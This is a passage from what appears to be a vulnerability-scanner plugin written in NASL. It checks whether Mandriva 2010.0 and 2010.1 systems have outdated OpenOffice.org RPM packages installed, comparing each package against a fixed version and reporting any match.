rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-et\", rpm:\"openoffice.org-l10n-et~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-eu\", rpm:\"openoffice.org-l10n-eu~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-fi\", rpm:\"openoffice.org-l10n-fi~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-fr\", rpm:\"openoffice.org-l10n-fr~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-he\", rpm:\"openoffice.org-l10n-he~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-hi\", rpm:\"openoffice.org-l10n-hi~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-hu\", rpm:\"openoffice.org-l10n-hu~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-it\", rpm:\"openoffice.org-l10n-it~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ja\", rpm:\"openoffice.org-l10n-ja~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ko\", rpm:\"openoffice.org-l10n-ko~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-mk\", rpm:\"openoffice.org-l10n-mk~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-nb\", rpm:\"openoffice.org-l10n-nb~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-nl\", rpm:\"openoffice.org-l10n-nl~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-nn\", rpm:\"openoffice.org-l10n-nn~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-pl\", rpm:\"openoffice.org-l10n-pl~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-pt\", rpm:\"openoffice.org-l10n-pt~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-pt_AO\", rpm:\"openoffice.org-l10n-pt_AO~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-pt_BR\", rpm:\"openoffice.org-l10n-pt_BR~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ru\", rpm:\"openoffice.org-l10n-ru~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-sk\", rpm:\"openoffice.org-l10n-sk~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-sl\", rpm:\"openoffice.org-l10n-sl~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-sv\", rpm:\"openoffice.org-l10n-sv~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ta\", rpm:\"openoffice.org-l10n-ta~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-tr\", rpm:\"openoffice.org-l10n-tr~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-zh_CN\", rpm:\"openoffice.org-l10n-zh_CN~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-zh_TW\", rpm:\"openoffice.org-l10n-zh_TW~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-zu\", rpm:\"openoffice.org-l10n-zu~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-math\", rpm:\"openoffice.org-math~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-mono\", rpm:\"openoffice.org-mono~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-openclipart\", rpm:\"openoffice.org-openclipart~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-pdfimport\", rpm:\"openoffice.org-pdfimport~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-presentation-minimizer\", rpm:\"openoffice.org-presentation-minimizer~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-presenter-screen\", rpm:\"openoffice.org-presenter-screen~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-pyuno\", rpm:\"openoffice.org-pyuno~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-crystal\", rpm:\"openoffice.org-style-crystal~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-galaxy\", rpm:\"openoffice.org-style-galaxy~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-hicontrast\", rpm:\"openoffice.org-style-hicontrast~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-industrial\", rpm:\"openoffice.org-style-industrial~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-oxygen\", rpm:\"openoffice.org-style-oxygen~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-tango\", rpm:\"openoffice.org-style-tango~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-testtool\", rpm:\"openoffice.org-testtool~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-voikko\", rpm:\"openoffice.org-voikko~3.1~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-wiki-publisher\", rpm:\"openoffice.org-wiki-publisher~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-writer\", rpm:\"openoffice.org-writer~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n\n\nif(release == \"MNDK_2010.0\")\n{\n\n if ((res = isrpmvuln(pkg:\"openoffice.org\", rpm:\"openoffice.org~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-base\", rpm:\"openoffice.org-base~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-calc\", rpm:\"openoffice.org-calc~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-common\", rpm:\"openoffice.org-common~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-core\", rpm:\"openoffice.org-core~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-devel\", rpm:\"openoffice.org-devel~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-devel-doc\", rpm:\"openoffice.org-devel-doc~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-draw\", rpm:\"openoffice.org-draw~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-filter-binfilter\", rpm:\"openoffice.org-filter-binfilter~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-gnome\", rpm:\"openoffice.org-gnome~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-af\", rpm:\"openoffice.org-help-af~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ar\", rpm:\"openoffice.org-help-ar~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-bg\", rpm:\"openoffice.org-help-bg~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-br\", rpm:\"openoffice.org-help-br~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-bs\", rpm:\"openoffice.org-help-bs~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ca\", rpm:\"openoffice.org-help-ca~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-cs\", rpm:\"openoffice.org-help-cs~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-cy\", rpm:\"openoffice.org-help-cy~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-da\", rpm:\"openoffice.org-help-da~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-de\", rpm:\"openoffice.org-help-de~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-el\", rpm:\"openoffice.org-help-el~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-en_GB\", rpm:\"openoffice.org-help-en_GB~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-en_US\", rpm:\"openoffice.org-help-en_US~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-es\", rpm:\"openoffice.org-help-es~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-et\", rpm:\"openoffice.org-help-et~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-eu\", rpm:\"openoffice.org-help-eu~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-fi\", rpm:\"openoffice.org-help-fi~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-fr\", rpm:\"openoffice.org-help-fr~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-he\", rpm:\"openoffice.org-help-he~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-hi\", rpm:\"openoffice.org-help-hi~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-hu\", rpm:\"openoffice.org-help-hu~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-it\", rpm:\"openoffice.org-help-it~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ja\", rpm:\"openoffice.org-help-ja~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ko\", rpm:\"openoffice.org-help-ko~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-mk\", rpm:\"openoffice.org-help-mk~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-nb\", rpm:\"openoffice.org-help-nb~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-nl\", rpm:\"openoffice.org-help-nl~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-nn\", rpm:\"openoffice.org-help-nn~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-pl\", rpm:\"openoffice.org-help-pl~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-pt\", rpm:\"openoffice.org-help-pt~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-pt_BR\", rpm:\"openoffice.org-help-pt_BR~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ru\", rpm:\"openoffice.org-help-ru~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-sk\", rpm:\"openoffice.org-help-sk~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-sl\", rpm:\"openoffice.org-help-sl~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-sv\", rpm:\"openoffice.org-help-sv~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ta\", rpm:\"openoffice.org-help-ta~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-tr\", rpm:\"openoffice.org-help-tr~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-zh_CN\", rpm:\"openoffice.org-help-zh_CN~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-zh_TW\", rpm:\"openoffice.org-help-zh_TW~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-zu\", rpm:\"openoffice.org-help-zu~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-impress\", rpm:\"openoffice.org-impress~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-java-common\", rpm:\"openoffice.org-java-common~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-af\", rpm:\"openoffice.org-l10n-af~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ar\", rpm:\"openoffice.org-l10n-ar~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-bg\", rpm:\"openoffice.org-l10n-bg~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-br\", rpm:\"openoffice.org-l10n-br~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-bs\", rpm:\"openoffice.org-l10n-bs~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ca\", rpm:\"openoffice.org-l10n-ca~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-cs\", rpm:\"openoffice.org-l10n-cs~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-cy\", rpm:\"openoffice.org-l10n-cy~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-da\", rpm:\"openoffice.org-l10n-da~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-de\", rpm:\"openoffice.org-l10n-de~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-el\", rpm:\"openoffice.org-l10n-el~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-en_GB\", rpm:\"openoffice.org-l10n-en_GB~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-es\", rpm:\"openoffice.org-l10n-es~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-et\", rpm:\"openoffice.org-l10n-et~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-eu\", rpm:\"openoffice.org-l10n-eu~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-fi\", rpm:\"openoffice.org-l10n-fi~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-fr\", rpm:\"openoffice.org-l10n-fr~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-he\", rpm:\"openoffice.org-l10n-he~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-hi\", rpm:\"openoffice.org-l10n-hi~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-hu\", rpm:\"openoffice.org-l10n-hu~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-it\", rpm:\"openoffice.org-l10n-it~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ja\", rpm:\"openoffice.org-l10n-ja~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ko\", rpm:\"openoffice.org-l10n-ko~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-mk\", rpm:\"openoffice.org-l10n-mk~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-nb\", rpm:\"openoffice.org-l10n-nb~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-nl\", rpm:\"openoffice.org-l10n-nl~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-nn\", rpm:\"openoffice.org-l10n-nn~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-pl\", rpm:\"openoffice.org-l10n-pl~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-pt\", rpm:\"openoffice.org-l10n-pt~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-pt_BR\", rpm:\"openoffice.org-l10n-pt_BR~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = 